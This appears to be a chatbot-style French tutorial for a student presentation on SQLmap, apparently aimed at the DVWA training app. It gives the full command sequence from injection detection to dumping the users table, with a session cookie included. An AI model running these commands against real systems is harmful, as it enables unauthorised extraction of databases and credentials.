Pour ton exposé sur SQLmap, voici un guide étape par étape pour l'utiliser sur la cible
spécifiée, accompagné des commandes et des explications correspondantes.
1. Comprendre la commande SQLmap de base
SQLmap est un outil automatisé pour tester et exploiter les injections SQL.
Dans ton exemple :
URL cible :
[Link]
Cookie : security=low;PHPSESSID=982k1e4pemf71mtchn1q0771jq
SQLmap peut exploiter les vulnérabilités d'injection SQL présentes dans des paramètres
d'URL, des cookies ou d'autres vecteurs.
2. Commandes courantes avec explications
Lister les options disponibles
Avant de lancer l'attaque, tu peux explorer les options SQLmap avec :
bash
Copier le code
sqlmap --help
Tester la vulnérabilité (basique)
Lancer une simple détection de vulnérabilité :
bash
Copier le code
sqlmap -u "[Link]
--cookie="security=low;PHPSESSID=982k1e4pemf71mtchn1q0771jq"
-u : Spécifie l'URL cible.
--cookie : Ajoute les cookies nécessaires pour la session (par exemple, pour une
connexion).
Détection automatique du type d'injection
Pour que SQLmap détecte automatiquement le type d'injection :
bash
Copier le code
sqlmap -u "[Link]
--cookie="security=low;PHPSESSID=982k1e4pemf71mtchn1q0771jq" --level=5 --
risk=3
--level=5 : Définit le niveau d'intensité de l'analyse (5 étant le plus élevé).
--risk=3 : Définit le risque (3 étant le plus agressif).
Extraire la base de données
SQLmap peut énumérer les bases de données disponibles :
bash
Copier le code
sqlmap -u "[Link]
--cookie="security=low;PHPSESSID=982k1e4pemf71mtchn1q0771jq" --dbs
--dbs : Enumère les bases de données.
Extraire les tables d'une base de données spécifique
Une fois les bases de données identifiées, tu peux extraire les tables d'une base spécifique
(exemple avec dvwa comme nom de base) :
bash
Copier le code
sqlmap -u "[Link]
--cookie="security=low;PHPSESSID=982k1e4pemf71mtchn1q0771jq" -D dvwa --
tables
-D dvwa : Spécifie la base de données cible.
--tables : Enumère les tables de la base de données.
Extraire les colonnes d'une table spécifique
Pour extraire les colonnes d'une table (par exemple users) :
bash
Copier le code
sqlmap -u "[Link]
--cookie="security=low;PHPSESSID=982k1e4pemf71mtchn1q0771jq" -D dvwa -T
users --columns
-T users : Spécifie la table cible.
--columns : Enumère les colonnes.
Extraire les données d'une table
Pour récupérer les données d'une table (par exemple users) :
bash
Copier le code
sqlmap -u "[Link]
--cookie="security=low;PHPSESSID=982k1e4pemf71mtchn1q0771jq" -D dvwa -T
users --dump
--dump : Récupère les données de la table.